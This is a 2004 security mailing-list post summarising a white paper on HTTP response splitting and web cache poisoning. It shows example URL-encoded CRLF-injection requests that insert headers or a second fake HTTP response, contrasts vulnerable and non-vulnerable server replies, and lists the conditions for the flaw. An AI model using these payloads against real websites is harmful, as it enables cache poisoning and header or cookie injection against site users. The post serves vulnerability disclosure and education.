Message-ID: <46916B56-6ECC-11D8-B5D8-000A9591DA56@whitehatsec.com>
Date: Fri, 5 Mar 2004 09:41:04 -0800
From: Jeremiah Grossman <jeremiah@...tehatsec.com>
To: webappsec@...urityfocus.com, bugtraq@...urityfocus.com
Cc: Amit Klein <amit.klein@...ctuminc.com>
Subject: Re: A new Sanctum white paper: "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics"


Amit's paper is extensive and very detailed. It contains interesting  
results and illustrates clever techniques used to poison web cache.  I  
am attempting to condense the material to its core concepts. Amit,  
please correct me if I make any errors.

This technique builds upon the scenario that user-supplied data is  
inserted into the headers of an HTTP response message. When this  
occurs, a misbehaving web server/application may cause adverse affects  
of an intermediary cache.

Scenario 1: Vulnerable web site

GET /redirect%0aX-Test:%20foo_test HTTP/1.0

HTTP/1.1 302 Found
Date: Fri, 05 Mar 2004 16:41:31 GMT
Server: Apache/1.3.29
Location: http://foo.com/redirect
X-Test-Header: foo_test
Connection: close
Content-Type: text/html; charset=iso-8859-1

In this case, the web server/application unescaped the user-supplied  
data destined for the Location header. The result added a new  "X-Test"  
header to the response. The new header could have easily been anything  
else, including "Set-Cookie". The important part is that an attacker  
has the ability to force the web site to serve up altered or invalid  
HTTP responses. Including making the result look like two separate HTTP  
Responses (Hence HTTP Response splitting). I have found a few places in  
the wild that exhibit this behavior.

Example:

GET  
/redirect%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/ 
1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent- 
Length:%200%0d%0a%0d%0a

The result would "look like" two independent HTTP responses.

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://foo.com/redirect
Content-Length: 0

HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 0

A cache may improperly parse the response since it looks like two  
independent messages. The next HTTP request recieved might be attached  
to the seemingly second HTTP response. If it does, then you have the  
cache poisioning scenarios outlined in the white paper.


Scenario 2: Not-Vulnerable web site

GET /redirect%0aX-Test:%20foo_test HTTP/1.0

HTTP/1.1 302 Found
Date: Fri, 05 Mar 2004 16:41:31 GMT
Server: Apache/1.3.29
Location: http://foo.com/redirect /redirect%0aX-Test:%20foo_test
Connection: close
Content-Type: text/html; charset=iso-8859-1

In this case, the web server/application did NOT unescape the  
user-supplied data. The URL encoded data remains, as is, within the  
Location header. I would say the web site should have done some  
addition sanity checking by not allowing certain URL encoded characters  
to pass. But its hard to classify this as a vulnerability. If the cache  
is still confused, then the issue is there.

Here are the vulnerability requirements.
1) User-supplied data is inserted in the headers of an HTTP Response
2) User input is unescaped.

The results could have the ability to poison the cache in an  
intermediary device or a web browser.


Regards,

Jeremiah-



On Thursday, March 4, 2004, at 10:12  AM, Amit Klein wrote:

> Hi
>
> Today, Sanctum released a new whitepaper, titled "Divide and Conquer
> - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related
> Topics". The full paper can be found in the following link:
> http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf
>
> The paper's abstract is copied below:
>
>

Powered by blists - more mailing lists